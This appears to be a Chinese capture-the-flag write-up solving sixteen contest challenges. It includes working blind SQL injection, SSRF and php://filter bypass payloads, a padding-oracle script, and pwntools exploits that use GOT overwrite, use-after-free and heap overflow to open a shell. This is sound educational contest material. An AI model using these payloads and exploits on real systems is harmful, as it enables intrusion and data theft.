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【CTF 攻略】第三届上海市大学生网络安全大赛Writeup

2017-11-10 10:54:26 阅读:15767次 收藏 来源: 安全客 作者:BOI_Team

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作者:BOI_Team

预估稿费:300RMB

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前言


本文是第三届上海市大学生网络安全大赛CTF攻略。


1.Some Words    类型:WEB    分值:100分


这题很明显的Sql盲注,通过测试发现过滤了“=”和and,所以构造查库Payload如下:

id=0 or if((ascii(substr((select database()),0,1))>116),1,0)

得到库名为words,构造查表语句如下:

id=0 or if((ascii(substr((select table_name from information_schema.tables where table_schema < 0x776f726474 limit 82,1),17,1))<97),1,0)

得到表名为f14g。接下来直接查字段脚本及结果如下:

#coding=UTF-8
import requests
result = ''
url = 'http://a3edf37f0d9741c6ad151c8bafbcad60fc11a19cf7f747a9.game.ichunqiu.com/index.php?'
payload = 'id=0 or if((ascii(substr(({sql}),{list},1))<{num}),1,0)'
for i in xrange(0,50):
    for j in xrange(32,126):
        #hh = payload.format(sql='select database()',list=str(i),num=str(j))
        #hh = payload.format(sql='select count(*) from information_schema.tables',list=str(i),num=str(j))
        #hh = payload.format(sql='select table_name from information_schema.tables limit 81,1',list=str(i),num=str(j))
        hh = payload.format(sql='select * from words.f14g',list=str(i),num=str(j))
        #print hh
        zz = requests.get(url+hh)
        #print zz.content
        if 'Hello Hacker!!' in zz.content:
            result += chr(j-1)
            print result
            break

t01ef171f65e9918a96.png


2.Welcome To My Blog    类型:WEB    分值:200分


扫描发现.git泄露,下载下来后用file指令查看,发现为zlib文件,通过脚本还原得到php源码如下:

http://p4.qhimg.com/t015d2a9b5e38c3e28b.png

这里可以看到,主要突破就是curl函数,curl还不是php中的,那就是在function中构造,通过读取action读取function.php的内容如下:

http://p7.qhimg.com/t01d71b131ff9f09aad.png

其中$url可控,利用file协议可读取服务器内容,直接读取flag.php内容,构造url为

http://baa35c12653d420f9ec6bb93429d6346fdbe9be660d045e0.game.ichunqiu.com/index.php?action=album&pid=file:///var/www/html/flag.php

成功读取到flag

http://p8.qhimg.com/t018e1cd6cf9f0b6cc6.png


3.Step By Step    类型:WEB    分值:300分


扫描目录得到了code.zip,解压出来发现源码经过phpjiami加密过,直接网上找了个网站收费解密了=-= 据说有解密脚本,得到index、admin、file的源码,首先分析index的源码

http://p3.qhimg.com/t01af65dc391d6f787a.png

利用的是mt_rand伪加密,利用伪加密生成16位的key和10位的private,主要思路是通过破解伪加密,通过key预测出当前的private,并将当前private写入session中,第二次给private相同值就可以登入进admin.php,因为seed是随机数,所以也写了一个脚本把10万种情况全写进文档中,方便找对应的private值。

http://p3.qhimg.com/t01141ce84056b84e81.png

进入到admin.php后,主要突破口就是json_decode(),代码如下:

http://p5.qhimg.com/t01375f2f9e9a7cd7a0.png

给auth传递参数true,就可以是判断条件为真,直接绕过$auth_code, 跳转到admin.php?authAdmin=2017CtfY0ulike,查看源码得到auth值为:1234567890x

http://p4.qhimg.com/t0137ae8444c08aa8b8.png

接下来就是利用得到的auth值进入到file.php文件中

http://p6.qhimg.com/t0152a2e81413405d0a.png

id参数中必须存在jpg,之后正则检测’php:’和’resource=’其实只检测了这两个字段,中间插入jpg就可以绕过,最后构造payload为id=php://filter/jpgconvert.base64-encode/resource=flag.php,得到flag

http://p5.qhimg.com/t01741319ec1d4d5c18.png


4.Crackme    类型:REVERSE    分值:50分


首先查壳,发现加了NsPack的壳

http://p0.qhimg.com/t0137b01a8f7ef6679e.png

先脱壳,手动就能在OD里脱掉,也可以用脱壳机,脱壳后载入IDA,很容易就能定位到主函数如下

http://p9.qhimg.com/t01a60618100852ae9b.png

逻辑很简单,就是一次异或运算,写出解题脚本如下:

serial_1 = "this_is_not_flag"
serial_2 = [0x12,4,8,0x14,0x24,0x5c,0x4a,0x3d,0x56,0xa,0x10,0x67,0,0x41,0,1,0x46,0x5a,0x44,0x42,0x6e,0x0c,0x44,0x72,0x0c,0x0d,0x40,0x3e,0x4b,0x5f,2,1,0x4c,0x5e,0x5b,0x17,0x6e,0xc,0x16,0x68,0x5b,0x12,0x48,0x0e]
result = ""
for i in xrange(42):
    result += chr(serial_2[i] ^ ord(serial_1[i%16]))
    print result


5.juckcode    类型:REVERSE    分值:200分


拿到题目之后,进行里一些分析,程序的功能是读flag文件,然后进行某种加密,之后得到flag.enc,所以,我们只要让我们的flag文件加密后的结果和flag.enc一样就行,算法分析了半天,没怎么搞出来,干脆暴力跑,因为发现密码是逐位加密,这就使得爆破是可行的,在爆破过程中,发现有可能在某一过程中,会出现多个符合结果的字符,所以,我们就要对错误结果进行处理,我发现在原来加密的字符串中是不存在“的,所以,就在加密的字符串前加上了”。如果得到“,就说明出现了错误。脚本如下:

# -*- coding: utf-8 -*-
import os
import string
def get_a_enc(flag):
    f = open("./flag", "w+")
    f.write(flag)
    f.close()
    r = os.popen("juckcode.exe")
    enc = r.readlines()[0]
    return str(enc).replace('\n', '')
def do(str1, str2):
    a = ''
    b = ''
    Num = 0
    if len(str1) < len(str2):
        a = str2
        b = str1
    else:
        a = str1
        b = str2
    for i in xrange(len(b)):
        if(a[i] == b[i]):
            Num += 1
        else:
            return Num
    return Num
def asd(ff,num_now):
    for i in xrange(ff,len(string)):
        key = flag + string[i]
        max = do(flag_enc, get_a_enc(key))
        if(max > num_now): 
            char_now = string[i]
            num_now = max
    return char_now
string = "\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$%&\'()*+,-./:;<=>?@^_`{|}~"
flag = ''
flag_enc = "FFIF@@IqqIH@sGBBsBHFAHH@FFIuB@tvrrHHrFuBD@qqqHH@GFtuB@EIqrHHCDuBsBqurHH@EuGuB@trqrHHCDuBsBruvHH@FFIF@@AHqrHHEEFBsBGtvHH@FBHuB@trqrHHADFBD@rquHH@FurF@@IqqrHHvGuBD@tCDHH@EuGuB@tvrrHHCDuBD@tCDHH@FuruB@tvrIH@@DBBsBGtvHH@GquuB@EIqrHHvGuBsBtGEHH@EuGuB@tvrIH@BDqBsBIFEHH@GFtF@@IqqrHHEEFBD@srBHH@GBsuB@trqrHHIFFBD@rquHH@FFIuB@tvrrHHtCDB@@"
z = 0
while 1:
    num_now = 0
    char_now = ''
    char_now = asd(z,num_now)
    if char_now == '\"':
        z = string.index(flag[-1:])+1
        flag = flag[:-1]
    else:
        z = 0
        flag += char_now
        print(get_a_enc(flag))
        print(flag)
        if char_now == '}':
            break

运行脚本得到结果如下:

http://p2.qhimg.com/t015b351eb9b6e26a4f.png


6.classical    类型:CRYPTO    分值:50分


单表替换密码上词频分析网站解得如下结果:

http://p8.qhimg.com/t01c000409497653457.png

中间一段目测base64编码,然鹅解出来啥也不是,脑洞会不会把base64给凯撒了一下然后一个一个试还真试出来了

http://p3.qhimg.com/t010ff4c26447c57521.png

http://p9.qhimg.com/t01cdfa077fdd6c638a.png


7.Is_aes_secure    类型:CRYPTO    分值:150分


这个题是aes的cbc 256bit加密方式,从给出的脚本可以看出,我们可以得到flag的密文,而且我们可以通过操作3得知我们输入的iv和密文是否符合格式,所以,可以使用padding oracle attack。这个密文长48个字节,所以,这是分成3块的cbc加密,第一块密文原本使用原来的iv: AAAAAAAAAAAAAAAA,作为iv来进行解密,第二块它使用第一块密文来进行解密,第三块使用第二块密文进行解密。这个加密过程,我们要不断更换iv,因为我们知道cbc模式是密文使用key进行加密得到一个中间值,中间值与iv逐位异或得到明文。根据padding,我们只要一位一位进行爆破,求出中间值就好,毕竟writeup,原理网上都是存在的,我就直接贴脚本了,这里有三个块,可以独立爆破,我交给了两个队友帮我爆破,我就只贴出其中的一块脚本如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
result = ''
result1=''
encode = 's\xf8\x804*S=\x06\x9b=,3\xea,E*\xaa\xc1\xcd\xf6\xcc\xb8\x1eQ\xf0\x81\xa9\x0e\xa4\x11\xfe\x9e\xdb\xd6\xbfm\xe7\xba\xb5\x02\xda\xbd\xb9\xc5\x1b\x7f\xb4\x90'
encode1 = encode[0:16]
encode2 = encode[16:32]
encode3 = 'A'*16
p = remote('106.75.98.74',10010)
def dd(datab):
    p.recvuntil('option:\n')
    p.send('3\n')
    p.recvuntil('IV:\n')
        p.send(datab)
    p.recvuntil("Data:\n")
    p.send(encode1.encode('base64'))
    zz = p.recvline()
        print zz
        if "Decrpytion Done" in zz:
            print 'success'
            print datab
            return 1
        else:
            print 'false'
jj = ''
xx = ''
for j in xrange(1,17):
    for z in result1:
        xx += chr(ord(z)^j)            
    for i in xrange(0,256):
        print i
        ss = (15-len(result1)) * chr(0)
        ss = ss +chr(i)+xx
        if dd(ss.encode('base64')):
            wrp= chr(i^j^ord(encode3[16-j]))
            result += wrp
            jj = chr(ord(wrp))+jj 
            result1 = chr(i^j) + result1
            print jj
            xx = ''
            break

得到3块字符串拼接起来为flag:

t01b5e1d8e3e5c6d9fd.png

t01544e206f83a96768.png

t01a8eb3dcf6b481102.png


8.rrrsa    类型:CRYPTO    分值:300分


思路大概是:哈希长度扩展攻击绕过auth()函数,执行regen_key(),得到原来的e和d。进入第二个函数得到n和新的e由于p、q没有换,所以知道n、d、e之后可以解出p和q最后进入第三个函数得到密文c可解出明文,脚本如下:

from pwn import *
import hashpumpy
from time import sleep
import random  
import libnum
def gcd(a, b):  
    if(a < b):  
        a , b = b , a  
    while(b != 0):  
        temp = a % b  
        a = b  
        b = temp  
    return a  
def getpq(n,e,d):  
    p = 1  
    q = 1  
    while(p == 1 and q == 1):  
        k = d * e - 1  
        g = random.randint(0 , n)  
        while(p == 1 and q == 1 and k % 2 == 0):  
            k /= 2  
            y = pow(g , k , n)  
            if(y != 1 and gcd(y-1 , n) > 1):  
                p = gcd(y-1 , n)  
                q = n / p  
    return p , q  
p = remote('106.75.98.74' , 10030)
p.recvuntil('token: ')
token = p.recv(32)
p.recv(1024)
#use Hash Length Extension Attacks bypass step1
p.sendline('1')
name = hashpumpy.hashpump(token,'guest' , 'root' , 8)
#print name
token2 = str(name)[2:34]
aaa = 'guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x00\x00root'
p.sendline(aaa)
sleep(1)
p.sendline(token2)
p.recvuntil('e = ')
e = int(p.recvuntil('\n')[:-1])
print 'e ->' , e
p.recvuntil('d = ')
d = int(p.recvuntil('\n')[:-1])
print 'd ->' , d
print '--------------step1 finished--------------'
#get n and new_e
p.sendline('2')
p.recvuntil('n = ')
n = int(p.recvuntil('\n')[:-1])
print 'n ->' , n
p.recvuntil('e = ')
new_e = int(p.recvuntil('\n')[:-1])
print 'new_e ->' , new_e
print '--------------step2 finished--------------'
#get new_e -> c
p.sendline('3')
p.recvuntil('flag_enc = ')
c = int(p.recvuntil('\n')[:-1])
print 'c ->' , c
print '--------------step3 finished--------------'
#use n , e , d to get p q
p , q = getpq(n , e , d)
print 'p ->' , p
print 'q ->' , q
print '--------------step4 finished--------------'
#use n and new_d to crack c
phi = (p - 1) * (q - 1)
print 'phi ->' , phi
new_d = libnum.modular.invmod(new_e , phi)
print 'new_d ->' , new_d
print libnum.n2s(pow(c , new_d , n))
print '--------------all finished--------------'

结果如下:

t01495e7b81b64ccb7f.png


9.list    类型:PWN    分值:100分


漏洞位置:在删除函数和添加函数中只对数组上界做了校验,可以无限删除数组。

http://p8.qhimg.com/t01dde108cde58aeb0f.png

利用思路:通过不断删除数组下标,将下标所引导plt表中指向got表的指针,通过指针leak地址和修改got内容

exp如下:

from pwn import *
context.log_level = 'debug'
slocal =1
slog  =1
atoi_off = 0x0000000000036e80
system_off = 0x0000000000045390
one_off = 0x4526a
if slocal:
    p = process("./list",env={"LD_PRELOAD":"./libc.so.6"})
else:
    p = remote("106.75.8.58",13579)#106.75.8.58 13579
def dele():
    p.recvuntil("5.Exit")
    p.sendline("4")
def add(con):
    p.recvuntil("5.Exit")
    p.sendline("1")
    p.recvuntil("Input your content:")
    p.send(con)
def edit(con):
    p.recvuntil("5.Exit")
    p.sendline("3")
    p.send(con)
def pwn():
    for x in xrange(263007):
        dele()
    p.recvuntil("5.Exit")
    p.clean()
    p.sendline("2")
    data = p.recvuntil('\n')[:-1]
    data = u64(data.ljust(8,'\x00'))
    libc = data - atoi_off
    system  = libc + system_off
    one = libc + one_off
    print "system addr is "+ hex(system)
    payload = p64(system)
    edit(payload)
    print pidof(p)
    p.sendline("/bin/sh\x00")
    p.interactive()
pwn()


10.p200    类型:PWN    分值:200分


先调戏一会儿程序吧,好嘞,崩了,与题目描述一致为uaf

http://p0.qhimg.com/t01c8a1a72d1fd620e2.png

利用思路:通过uaf修改虚表到内置system函数

exp如下:

from pwn import *
context.log_level = 'debug'
p = remote("106.75.8.58",12333)#106.75.8.58 12333
#p = process("./p200")
def pwn():
    p.recvuntil("1. use, 2. after, 3. free")
    p.sendline("3")
    p.recvuntil("1. use, 2. after, 3. free")
    p.sendline("2")
    p.recvuntil("length:")
    p.sendline("48")
    p.sendline(p64(0x602d70)*3)
    p.recvuntil("1. use, 2. after, 3. free")
    p.sendline("2")
    p.recvuntil("length:")
    p.sendline("48")
    p.sendline(p64(0x0602d70)*3)
      #print pidof(p)
      #raw_input()
    p.interactive()
pwn()


11.heap    类型:PWN    分值:300分


程序功能:在main函数中开始有一个函数随机申请和释放堆,造成堆空间不可预测,并生成一个cookie值。

http://p9.qhimg.com/t01a6543683f2bff712.png

数据结构为

struct heap{
    int idx;
    char *name_ptr;
    int name_len;
    int *func;
    char *school_name_ptr;
    int school_name_len;
    int type;
    int cookie;}

利用思路:在name_ptr和school_name_ptr指向的空间中的结尾会复制有cookie,剩下几个函数中就拼命盯着那个cookie值,几乎所有的操作都校验3次cookie,给了相当于无限申请堆的能力,出题人留了个很漂亮的堆溢出。通过前面申请大量的堆空间,将随机生成的堆块归并后再次布局堆空间,这是,堆空间就得到了相邻的堆块,通过溢出堆块修改相邻堆块中的结构为:

name_ptr -> cookie
name_len = 0
school_name_ptr -> cookie
scool_name_len = 0

构造完毕后可修改存放于堆上的cookie,顺便写入/bin/sh。利用同样的姿势绕过cookie校验,leak出libc基址,修改结构体中的函数为system。

exp如下:

from pwn import *
context.log_level = 'debug'
slocal = 0
if slocal :
    p = process("./heap",env={"LD_PRELOAD":"./libc.so.6"})
else:
    p = remote("106.75.8.58",23238)
def add(nam_len,name,sc_len,sc,yn):
    p.recvuntil("option:")
    p.sendline("1")
    p.recvuntil("length of name")
    p.sendline(str(nam_len))
    p.recvuntil("input name")
    p.sendline(name)
    p.recvuntil("schoolname")
    p.sendline(str(sc_len))
    p.recvuntil("school name")
    p.sendline(sc)
    p.recvuntil("tutor?")
    p.sendline(yn)
def dele(idx):
    p.recvuntil("option:")
    p.sendline("2")
    p.recvuntil("input a id to delete")
    p.sendline(str(idx))
def edit(idx,opt,ll,name):
    p.recvuntil("option:")
    p.sendline("3")
    p.recvuntil("input a id to edit")
    p.sendline(str(idx))
    p.recvuntil("option:")
    p.sendline(str(opt))
    p.recvuntil("name")
    p.sendline(str(ll))
    p.recvuntil("name")
    p.sendline(name)
'''exit_off = 0x3a030
one_off = 0x4526a
hook_off = 0x3c4b10'''
exit_off = 0x000000000003a030
one_off= 0x4526a
system_off = 0x0000000000045390
def pwn():
    for x in xrange(100):
        add(4096,'deadbeef',4096,'deadbeef','no')
    add(16,'leakinfo',16,'leakinfo','yes')
    add(200,'AAAAAAAA',200,'aaaaaaaa','yes')
    add(200,'BBBBBBBB',200,'bbbbbbbb','yes')
    add(200,'CCCCCCCC',200,'cccccccc','yes')
    add(200,'DDDDDDDD',200,'aaaaaaaa','yes')
    add(200,'EEEEEEEE',200,'bbbbbbbb','yes')
    add(200,'FFFFFFFF',200,'cccccccc','yes')
    payload = 'A'*440+p64(0x41)+p64(0x69)+p64(0x60F03f)+p64(0)+p64(0x400954)+p64(0x0602FF0)+p32(49231)
    edit(104,1,500,payload)
    edit(105,1,25,'AAAAAAAAA/bin/sh\x00AAAAAAAA')
    payload = 'A'*440+p64(0x41)+p64(0x6d)+p64(0x602ff0)+p64(0xc04f)+p64(0x400954)+p64(0x602ff0)+'\x4f\xc0'
    add(200,"HHHHHHHH",200,'hhhhhhhh','yes')
    add(200,'IIIIIIII',200,'iiiiiiii','yes')
    add(200,'KKKKKKKK',200,'kkkkkkkk','yes')
    add(200,'LLLLLLLL',200,'llllllll','yes')
    edit(107,1,500,payload)
    p.recvuntil("option:")
    p.sendline("4")
    p.recvuntil("input a id to intro")
    p.sendline('108')
    p.recvuntil("from ")
    data = p.recvn(6)
    libc = u64(data.ljust(8,'\x00'))-exit_off
    one = libc+one_off
    system =libc +system_off
    print "libc address is "+hex(libc)
    print pidof(p)
    raw_input()
    payload = 'A'*440+p64(0x41)+p64(0x6d)+p64(0x60f048)+p64(8)+p64(system)+p64(0x602ff0)+'\x4f\xc0'
    edit(109,1,500,payload)
    p.recvuntil("option:")
    p.sendline("4")
    p.recvuntil("intro")
    p.sendline('110')
    p.interactive()
pwn()


12.签到题    类型:MISC    分值:50分


吃了i春秋的安利下好APP后在CTF竞赛圈的置顶帖中

flag{7heR3_i5_a_Lif3_4b0ut_tO_sT4rt_WHen_T0morROw_coMe5}


13.登机牌    类型:MISC    分值:150分


管他三七二十一先补全二维码如下:

http://p8.qhimg.com/t01557545d9ab1c696a.png

好嘞,成功进坑,扫码得到: why not use binwalk。拖入010Editor发现后面png后加了个rar文件,先扣为敬,修正rar头得到加密的rar包。想起png下方还有pdf417码,但标志位看起来不太对,反色后扫码得到key1921070120171018

http://p3.qhimg.com/t019ec693056885605c.png

作为密码解出加密压缩包中的flag.pdf,末尾得到flag

t016b25421fee0fad88.png


14.clemency    类型:MISC    分值:200分


先看16进制,脑洞一堆没思路,信息搜集。发现这……这怕是这届defcon的大名鼎鼎cLEMENCy中段序哦。Github上的ida_clemency

http://p3.qhimg.com/t01dc376263f9e6e1d5.png

按照readme上面配好环境后发现clemency.bin可识别了,找了一圈没发现flag,突然想起有个flag.enc,然后就出了。。

http://p7.qhimg.com/t0100bd3146da026f10.png


15.流量分析    类型:MISC    分值:300分


Wireshark什么都导不出来,只好一个一个跟tcp流,发现了一堆ftp的操作传输的flag.zip和singlelist.c……然后还有后面的key.log

http://p4.qhimg.com/t0182e0bfc8a433e3dc.png

这应该是ssl加密的网络数据包,所以需要把key.log作为传输会话私钥导入

http://p8.qhimg.com/t019da169f411ea9904.png

导入证书后发现可以用http协议导出文件了

http://p2.qhimg.com/t01a413d53537d6b153.png

一个大小特别出众的文件映入了我的眼帘,分析一下是个zip,改后缀得到MP3文件,网易云的,歌曲还行,结尾处有杂音,然后上audition,得到flag.zip的密码: AaaAaaaAAaaaAAaaaaaaAAAAAaaaaaaa!

http://p9.qhimg.com/t019b46a594811aebf2.png

解压缩包得到flag为flag{4sun0_y0zora_sh0ka1h@n__#>>_<<#}


16.问卷调查    类型:MISC    分值:10分


想起一句话:我走最长的路,就是大表姐的套路,为了10分,妥协了呗。


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小虎 2017-11-19 09:03:59
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题目有复现链接吗?

360U2926933099 2017-11-14 10:20:08
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为什么 writeup都看不了了

johnone_001 2017-11-13 17:18:45
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老哥牛逼摩拜一下

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